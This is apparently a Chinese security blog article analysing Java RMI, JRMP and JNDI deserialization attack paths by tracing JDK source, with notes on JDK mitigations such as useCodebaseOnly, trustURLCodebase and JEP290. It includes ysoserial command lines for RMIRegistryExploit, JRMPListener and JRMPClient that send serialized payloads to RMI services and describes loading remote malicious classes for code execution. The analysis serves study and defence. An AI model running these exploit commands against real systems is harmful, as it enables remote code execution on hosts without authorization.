Java远程方法调用RMI利用分析

  • A+
所属分类:安全文章

前提了解

JNDI

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

Java远程方法调用RMI利用分析

JRMP

Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议。

RMI

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

Java远程方法调用RMI利用分析

JDK关键版本Java远程方法调用RMI利用分析

RMI攻击向量

RMI Serialization Attack

注意:此Demo没有版本限制,但部分逻辑会由于版本原因造成出入。

Demo

  • with JDK 1.8.0_151

  • with java-rmi-server/ rmi.RMIServer、Services、PublicKnown

  • with java-rmi-client/ rmi.RMIClient、Services、ServicesImpl、PublicKnown

PS:低版本无法在RegistryImpl_Skel下有效断点。

分析

两种 bind 区别

  • Server <-> RMI Registry <-> Client

server 通过 bind 注册服务时会进行序列化传输服务名&Ref,因此会进入RegistryImpl_Skel.dispatch先经过反序列化获取。

  • Server(RMI Registry) <-> Client

这种模式下,由于 server 与 Registry 是同一台机器,在 bind 注册时由于 server 上已有其 Ref,因此不需要序列化传输,只需要在 bindings list 中添加对应键值即可。

注册、请求流程

RMI Registry 的核心在于 RegistryImpl_Skel。当Server执行bind、Client执行lookup时候,均会通过sun.rmi.registry.RegistryImpl_Skel#dispatch进行处理。

bind

首先注意到ServiceImpl继承了UnicastRemoteObject,在实例化时会通过exportObject创建返回此服务的stub。

public class ServiceImpl extends UnicastRemoteObject implements Service {...}/*** Exports the specified object using the specified server ref.*/private static Remote exportObject(Remote obj, UnicastServerRef sref)throws RemoteException{// if obj extends UnicastRemoteObject, set its ref.if (obj instanceof UnicastRemoteObject) {((UnicastRemoteObject) obj).ref = sref;}return sref.exportObject(obj, null, false);}

再通过bind向RMI Registry服务器申请注册绑定服务名&stub跟入到sun.rmi.registry.RegistryImpl_Stub#bind,注意观察到向RMI Registry申请时,第三个参数对应 operations 里的操作。

这里尤其注意的两个 writeObject,分别向 var3 的输出流中写入序列化后的服务名&stub。

Java远程方法调用RMI利用分析Java远程方法调用RMI利用分析

RMI Registry收到申请时会进行会通过传入的操作值进入相关流程,0时进入bind,注意到两次 readObject 分别反序列化获取服务名&stub后,再向 bindings List 中写入键值。

Java远程方法调用RMI利用分析

这里就引出来了一个点:Server 通过向 RMI Registry 申请 bind 操作进行序列化攻击。

lookup

再看Client向RMI Registry申请lookup 查找时候(sun.rmi.registry.RegistryImpl_Stub#lookup)传递的操作数为 2,且反序列化了目标服务名。

Java远程方法调用RMI利用分析Java远程方法调用RMI利用分析

RMI

Registry(sun.rmi.registry.RegistryImpl_Skel#dispatch)这边同样会先反序列化获取查询服务名,再从 bindings list 中进行查询。 Java远程方法调用RMI利用分析

这里就引出来了另一个点:Client 通过向 RMI Registry 申请 lookup 操作进行序列化攻击。

但是就完了么?

我们再往下看,注意到 86 行出现的 writeObject,这里是将查询到的stub序列化传输给 Client。

回到 Client 的代码中,可以看到104 行的 readObject。

Java远程方法调用RMI利用分析这里就引出来了第三个点:RMI Registry 通过 lookup 操作被动式攻击 Client。

调用时序列化

现在我们理清了bind、lookup的部分内容,那么 client 是如何实现远程调用呢?

通过跟进后可以看到由

java.rmi.server.RemoteObjectInvocationHandler实现的动态代理,并最终由sun.rmi.server.UnicastRef#invoke实现调用。Java远程方法调用RMI利用分析

在调用中我们注意到通过marshalValue打包参数,由unmarshalValue对传回的内容进行反序列化。Java远程方法调用RMI利用分析

限制

这里的 Demo 实际情况中很难遇到,因为evil是我们根据已知的Services、PublicKnown(含已知漏洞)生成的,在攻击时更多都是采用本地 gadget。

攻击方向

注意到我们上面提出了三个攻击向。

1.Server 通过向 RMI Registry 申请 bind 操作进行序列化攻击;

2.Client 通过向 RMI Registry 申请 lookup 操作进行序列化攻击;

3.RMI Registry 通过 lookup 操作被动式攻击 Client。

其实注意到第一个点里提到的 Server 并不是要求一定要由目标服务器发起,比如任意一台(包括攻击者)均可以向注册中心发起注册请求进而通过 bind 在 RMI Registry 上进行攻击,例如:

Client -- bind --> RMI Registry(Server)

同理第二点、第三点里也是,所以我们更新一下:

1.向 RMI Registry 申请 bind 操作进行序列化攻击;

2.向 RMI Registry 申请 lookup 操作进行序列化攻击;

3.RMI Registry通过lookup操作被动式序列化攻击请求者。

bind - RMIRegistryExploit

  • with JDK 1.7.0_17

  • with java-rmi-server/ rmi.RMIServer2

  • with ysoserial.exploit.RMIRegistryExploit

ysoserial.exploit.RMIRegistryExploit实际对应bind攻击方向,我们来简单看下它的代码。

核心在于两点,对于第一点可以看看 cc1 分析以及Java动态代理-实战这篇。

  • sun.reflect.annotation.AnnotationInvocationHandler动态代理Remote.class

  • bind 操作

Java远程方法调用RMI利用分析

这里提一下为什么需要动态代理,是由于在sun.rmi.registry.RegistryImpl_Skel#dispatch,执行bind时会通过Remote.readObject反序列化,导致调用

AnnotationInvocationHandler.invoke。

Java远程方法调用RMI利用分析

RMI Remote Object

codebase传递以及useCodebaseOnly

RMI有一个重要的特性是动态类加载机制,当本地CLASSPATH中无法找到相应的类时,会在指定的codebase里加载class,

需要java.rmi.server.useCodebaseOnly=false,但是这个特性是一直开启的,直到6u45、7u21修改默认为 true 以防御攻击。

这里引用官方文档 Enhancements in JDK 7:

如果RMI连接一端的JVM在其java.rmi.server.codebase系统属性中指定了一个或多个URL,则该信息将通过RMI连接传递到另一端。如果接收方JVM的java.rmi.server.useCodebaseOnly系统属性设置为false,则它将尝试使用这些URL来加载RMI请求流中引用的Java类。

从由RMI连接的远程端指定位置加载类的行为,当被禁用

java.rmi.server.useCodebaseOnly被设定为true。在这种情况下,仅从预配置的位置(例如本地指定的

java.rmi.server.codebase属性或本地CLASSPATH)加载类,而不从codebase通过RMI请求流传递的信息中加载类。

demo

Client 攻击 Server

  • with JDK 1.7.0_17

  • with java-rmi-server/rmi.RMIServer2

  • with java-rmi-client/rmi.RMIClient2、remote.RemoteObject

若 Client 指定了 codebase 地址,Server 加载目标类时会现在本地 classpath 中进行查找,在没有找到的情况下会通过 codebase 对指定地址再次查找。

为了能够远程加载目标类,需要Server加载并配置RMISecurityManager,并同时设置:

java.rmi.server.useCodebaseOnly=false

在传输了 codebase 之后是如何调用的呢? Java远程方法调用RMI利用分析

也是由动态代理类

java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod实现远程调用。

Java远程方法调用RMI利用分析

Server 接收到调用指令后,进入

sun.rmi.server.MarshalInputStream#resolveClass,

由于 useCodebaseOnly 为 false,从客户端指定地址远程读取目标类。

Java远程方法调用RMI利用分析

全部读取完毕后回到

java.io.ObjectInputStream#readOrdinaryObject,

调用

java.io.ObjectStreamClass#initNonProxy进行实例化。

Java远程方法调用RMI利用分析

Server 攻击 Client

  • with JDK 1.7.0_17

  • with java-rmi-server/rmi.RMIServer3、remote.RemoteObject2

  • with java-rmi-client/rmi.RMIClient3

可以对比看到,从sun.rmi.server.UnicastRef#invoke起是一致的逻辑,只是上层调用来源不一样,不再赘述。 Java远程方法调用RMI利用分析

区别攻击方向

方法调用请求均来自 Client。

但区别的产生在于

sun.rmi.server.UnicastRef#invoke(java.rmi.Remote,java.lang.reflect.Method,java.lang.Object[], long)处的逻辑代码。

  • line 79: Client 攻击 Server,在于让 Server 请求远程 Class 产生结果,由于本地同名恶意类安全所以不会对本地造成攻击。

  • line 89: Server 攻击 Clinet,在于 Client 获取到安全结果后需要获取远程 Class 进行本地反序列化导致被攻击。

Java远程方法调用RMI利用分析

JRMP

  • with JDK 1.7.0_80

  • with java-rmi-server/rmi.RMIServer2

看情况取舍:

上面说的RMI通信过程中假设客户端在与RMI服务端通信中,虽然也是在JRMP协议上进行通信,尝试传输序列化的恶意对象到服务端,此时服务端若也返回客户端一个恶意序列化的对象,那么客户端也可能被攻击,利用JRMP就可以利用socket进行通信,客户端直接利用JRMP协议发送数据,而不用接受服务端的返回,因此这种攻击方式也更加安全。

这里我们针对 ysoserial 的几个相关 Class 进行分析,首先先列举下相关的作用。

  • payloads.JRMPListener 在目标服务器目标端口上开启JRMP监听服务 - 独立利用

  • payloads.JRMPClient 向目标服务器发送注册 Ref,目标 exploit.JRMPListener 地址

  • exploit.JMRPListener 被动向请求方传输序列化 payload

  • exploit.JRMPClient 主动向目标服务器传输序列化 payload

除此之外,我们还需要了解下关于DGC的一些内容,以便理解下面的内容。

RMI.DGC 为 RMI 分布式垃圾回收提供了类和接口。当 RMI 服务器返回一个对象到其客户机(远程方法的调用方)时,其跟踪远程对象在客户机中的使用。当再没有更多的对客户机上远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。

payloads.JRMPListener

在了解之前,我们先看下JAVA原生序列化有两种接口实现。

1.Serializable接口:要求实现writeObject、readObject、writeReplace、readResolve

2.Externalizable接口:要求实现 writeExternal、readExternal

分析

回到JRMPListener中,代码很简单,主要功能就是生成一个开启目标端口进行监听RMI服务的payload。Java远程方法调用RMI利用分析

我们首先跟入到

ysoserial.payloads.util.Reflections#createWithConstructor,了解下函数逻辑。 Java远程方法调用RMI利用分析

1.先查找RemoteObject下参数类型为 RemoteRef 的构造器。

2.根据找到的构造器为ActivationGroupImpl动态生成一个新的构造器并生成实例。

为什么需要这样呢?其实就是为了避免调用ActivationGroupImpl本身的构造方法,避免复杂的或其他不可控的问题。

Java远程方法调用RMI利用分析

我们关注下UnicastRemoteObject在序列化阶段做了什么,从reexport跟入到exportObject,创建监听并返回此 stub。Java远程方法调用RMI利用分析

另外,通过上面的分析实际上我们只用需要UnicastRemoteObject就足够开启监听利用,下面两种也可以,但好奇为什么作者要通过子类转换实现利用呢?

ActivationGroupImpl uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)});UnicastRemoteObject uro = Reflections.createWithConstructor(UnicastRemoteObject.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)});

利用

java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPListener <new_listener_port>java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <new_listener_port> <payloads> <args[]>

payloads.JRMPClient

分析

作为 payloads 核心代码依旧不是很多,生成 ref 并封装到 handler,动态代理Registry类。

实际上,对于 ClassLoader 我们是可以设置为 Null,这个问题可以通过上面的资料链接回答。

至于为什么强转为 Registry ?只是因为我们动态代理了这个类,集成了需要代理类的各种方法,在不调用这些方法时替换成任意 Object 子类均可。

现在我们看下代码逻辑:

Java远程方法调用RMI利用分析

当我们传递一个 proxy 准备序列化时,大意上同样会对其成员进行序列化(这里不展开,需要自己看序列化),所以会调用其父类 RemoteObject.readObject()

Java远程方法调用RMI利用分析

注意到最后会调用 readExternal 方法,原因已在上文提到。

Java远程方法调用RMI利用分析

这里便会调用

sun.rmi.server.UnicastRef#readExternal,

之后进入

sun.rmi.transport.LiveRef#read,

但这里并不能进入到 DGCClient 注册,但会把 ref 信息存入到

ConnectionInputStream.incomingRefTable中。

Java远程方法调用RMI利用分析

在最后释放输入连接时,会对incomingRefTable中的 ref 进行注册。

Java远程方法调用RMI利用分析

为什么要这么做呢?java 注释写有,详细内容没有查到。

/*** Save reference in order to send "dirty" call after all args/returns* have been unmarshaled.  Save in hashtable incomingRefTable.  This* table is keyed on endpoints, and holds objects of type* IncomingRefTableEntry.*/

而在sun.rmi.transport.DGCImpl_Skel#dispatch中也是类似注释中的流程。

Java远程方法调用RMI利用分析

回到 ref 注册,实际是会在 DGCClient 中对 refs 进行注册。

Java远程方法调用RMI利用分析

然后对传输过来的数据直接进行反序列化解析,这里的内容放在

exploit.JRMPListener中讲解。

Java远程方法调用RMI利用分析

所以整个流程分析下来,并没有看到需要使用动态代理的地方,因此生成 payload 时直接序列化传输RemoteObject子类也就足够,而原生自带的容易控制的子类为RemoteObjectInvocationHandler,即:

Java远程方法调用RMI利用分析

利用

payloads.JRMPClient 是要配合 exploit.JRMPListener 一起使用的。

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPClient <listener_ip>:<listener_port>

exploit.JRMPListener

分清两个JRMPListener的区别

  • payloads.JRMPListener 在目标机上开启 JMRP 监听

  • exploit.JRMPListener 实现对 JRMP Client 请求的应答

分析

从 Main 可以看到基本逻辑就是开启监听 JRMP 端口等待连接后传输恶意 payload。

Java远程方法调用RMI利用分析

在监听时对协议进行解析,对为 StreamProtocol、SingleOpProtocol 的连接均会通过 doMessage 进行应答。

Java远程方法调用RMI利用分析

而在 doMessage 中对远程RMI调用发送 payload 数据包。

Java远程方法调用RMI利用分析

那么 payload 是填充到哪里了呢?

注意到 doCall 函数中的这段代码,和 cc5 的入口点是一样的。

Java远程方法调用RMI利用分析

但需要注意的是,BadAttributeValueExpException.readObject的触发点不一定是 valObj.toSting(),这里在调试的时候出现了一堆莫名其妙的现象。

抛开后续的利用,我们从开始看下目标是如何向 JRMPListener 请求的。

Java远程方法调用RMI利用分析

会向 DGCClient 中进行注册 Ref,通过80请求、81应答进行传输,这里可以关注下调用栈,结合上面 DGC 内容进行了解。

Java远程方法调用RMI利用分析

那么 80 是如何出现的呢?

看到StreamRemoteCall初始化时会直接往第一个字节写入 80。

Java远程方法调用RMI利用分析

接着目标会读取 Listener 传递的值对之后的内容选择是否进行反序列化,反序列化的内容就和上面连接起来了。

Java远程方法调用RMI利用分析

额外提一下,var1在这里的意义是用来判断Listener是否为正常返回,如果因为某些原因在 Listener 端产生了异常报错需要将报错信息传递回请求端,而传递的信息是序列化的所以会在请求端触发反序列化。

利用

本身无法直接利用的,需要向目标机发送 payloads.JRMPClient 以被动攻击。

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>

exploit.JRMPClient

分清两个 JRMPClient 区别,以及 RMIRegistry

Exploit

  • payloads.JRMPClient 向目标DGC注册Ref

  • exploit.JRMPClient 向目标DGC传输序列化 payload

  • exploit.RMIRegistryExploit 向目标RMI.Registry传输序列化 payload,目标为 RMI.Registry 监听端口

下面是payloads.JRMPListener和RMI.Registry 开启的监听端口在nmap扫描下的不同信息:

exploit.JRMPClient 可以对两者进行攻击;

exploit.RMIRegistryExploit只能攻击后者。

Java远程方法调用RMI利用分析

分析

先在sun.rmi.server.UnicastServerRef#dispatch中读取 Int 数据。

Java远程方法调用RMI利用分析

然后在

sun.rmi.server.UnicastServerRef#oldDispatch中读取 Long 数据。

Java远程方法调用RMI利用分析

之后进入sun.rmi.transport.DGCImpl_Skel#dispatch,先对读取的 Long 数据即接口 hash 值进行判断是否为相同。

Java远程方法调用RMI利用分析

再根据之前读取的 Int 数据进行相应的处理。

Java远程方法调用RMI利用分析

利用

java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <rmi_port> <payloads> <args[]>

JNDI Reference

关于 JNDI 的内容已在整篇文章开头有涉及,此处暂时无额外需求。

demo

  • with JDK 1.7.0_17

  • with jndi\rmi.RMIClient、rmi.RMIServer

分析

我们跟进Client执行lookup后看看发生了什么。

同样也是Client向Server请求查询test_service对应的 stub,再执行到 com.sun.jndi.rmi.registry.RegistryContext#decodeObject中获取目标类的 ref。

Java远程方法调用RMI利用分析

之后带入 ref 到

javax.naming.spi.NamingManager#getObjectInstance中进行远程工厂类的加载(所以Server 端 new Reference 时的第一个 class 参数随便写不影响)。

Java远程方法调用RMI利用分析

这样就是在 Client 执行 lookup 操作时让其直接加载远程恶意类进行 RCE,不需要任何其他的 gadget。

防御

受到自6u141、7u131、8u121起默配置com.sun.jndi.rmi.object.trustURLCodebase=false,直接远程加载会被限制,报错信息如下:

Java远程方法调用RMI利用分析

另外还对可反序列化的类做了白名单检测- JEP290,对 JEP290 的分析文章很多,常见 Bypass会在之后总结。

来源:freebuf.com --酒仙桥六号部队